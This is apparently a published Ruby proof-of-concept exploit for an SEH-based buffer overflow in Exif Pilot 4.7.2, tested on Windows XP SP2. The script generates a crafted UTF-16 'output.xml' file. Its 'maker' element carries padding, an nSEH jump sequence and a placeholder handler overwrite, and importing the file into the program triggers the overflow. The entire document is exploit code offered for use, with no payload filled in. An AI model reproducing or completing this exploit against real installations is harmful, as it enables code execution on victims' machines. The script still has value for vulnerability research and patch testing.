#!/usr/bin/env ruby
# Exploit Title: Exif Pilot SEH Based Buffer Overflow
# Version: version 4.7.2
# Download: http://www.colorpilot.com/load/exif.exe
# Tested on: Windows XP sp2
# Exploit Author: Osanda M. Jayathissa
# E-Mail: osanda[cat]unseen.is
=begin
Click Tools > Options > Customize 35mm tab > Import > and choose "output.xml".
The p/p/r addresses contains null characters.
=end
require 'rex'
def generate_content(padding1_len, padding2_len)
header = "\xff\xfe"
header << Rex::Text.to_unicode("<?xml version=\"1.0\" encoding=\"UTF-16\" ?>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode("<efls>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" <eflitem>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" <maker>");
header << Rex::Text.to_unicode("");
for i in 0..padding1_len
header << Rex::Text.to_unicode("A");
end
header << "\xeb\x00\x06\x00\x90\x00\x90\x00" #nSEH
header << Rex::Text.to_unicode("CCCC"); #SEH
for i in 0..padding2_len
header << Rex::Text.to_unicode("A");
end
header << "\x0d\x00\x0a\x00\x09\x00\x09\x00"
header << Rex::Text.to_unicode(" </maker>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" <model>abc</model>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" <factor>0.000000</factor>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode(" </eflitem>")
header << "\x0d\x00\x0a\x00"
header << Rex::Text.to_unicode("</efls>")
header << "\x0d\x00\x0a\x00"
return header
end
##
# main
##
filename = 'output.xml'
output_handle = File.new(filename, 'wb')
if !output_handle
$stdout.puts "Cannot open the file #{filename} for writing!"
exit -1
end
header = generate_content(1619, 7000)
$stdout.puts "Generating file #{filename}"
output_handle.puts header
output_handle.close
$stdout.puts "Done!"
exit 0
#EOF